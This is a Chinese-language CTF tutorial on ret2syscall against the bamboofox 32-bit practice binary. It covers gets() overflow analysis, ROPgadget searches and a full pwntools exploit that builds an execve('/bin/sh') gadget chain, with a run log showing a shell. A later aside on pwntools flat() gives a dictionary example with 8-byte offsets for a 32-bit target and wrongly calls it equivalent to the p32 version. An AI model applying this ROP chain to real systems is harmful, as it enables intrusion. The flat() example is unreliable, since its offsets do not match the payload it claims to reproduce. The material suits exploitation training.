3-ret2syscall

ret2syscall

原理

ret2syscall，即控制程序执行系统调用，获取 shell。

例1

继续以 bamboofox 中的 ret2syscall 为例。

点击下载: ret2syscall

首先检测程序开启的保护：

$ checksec ret2syscall
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

可以看出，源程序为 32 位，开启了 NX 保护。接下来利用 IDA 进行反编译：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法，我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获shell，所以我们利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。

简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell：

execve("/bin/sh",NULL,NULL)

其中，该程序是 32 位，所以我们需要使得

• 系统调用号，即 eax 应该为 0xb
• 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
• 第二个参数，即 ecx 应该为 0
• 第三个参数，即 edx 应该为 0

而我们如何控制这些寄存器的值呢？这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法，我们可以使用 ropgadgets 这个工具。

首先，我们来寻找控制 eax 的 gadgets

$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax，我选取第二个来作为 gadgets。

类似的，我们可以得到控制其它寄存器的 gadgets

$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里，我选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外，我们需要获得 /bin/sh 字符串对应的地址。

$ ROPgadget --binary ret2syscall  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址，此外，还有 int 0x80 的地址，如下

$ ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

Unique gadgets found: 2

同时，也找到对应的地址了。

下面就是对应的 payload，其中 0xb 为 execve 对应的系统调用号。

from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    [b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

1. 列表形式（按顺序拼接）
python
运行
payload = flat([
    b'A' * 112,         # 填充缓冲区
    pop_eax_ret,        # 地址（自动转换为p64/p32）
    0xb,                # 整数值（自动转换为p64/p32）
    pop_edx_ecx_ebx_ret,
    0, 0, binsh,        # execve("/bin/sh", NULL, NULL)
    int_0x80            # 系统调用地址
])

2. 字典形式（按偏移量填充）
python
运行
payload = flat({
    0: b'A' * 112,       # 从偏移0开始填充
    112: pop_eax_ret,    # 从偏移112开始放地址
    120: 0xb,            # 从偏移120开始放整数
    128: pop_edx_ecx_ebx_ret,
    136: [0, 0, binsh],  # 列表会按顺序拼接
    160: int_0x80
})
等价于
payload = b'A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)

$ python3 exp.py
[+] Starting local process './ret2syscall': pid 379
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
ctfshow_flag  exp.py  pwn  ret2libc1  ret2libc2  ret2libc3  ret2syscall

题目 ¶

• train.cs.nctu.edu.tw: ret2libc

[ret2text]: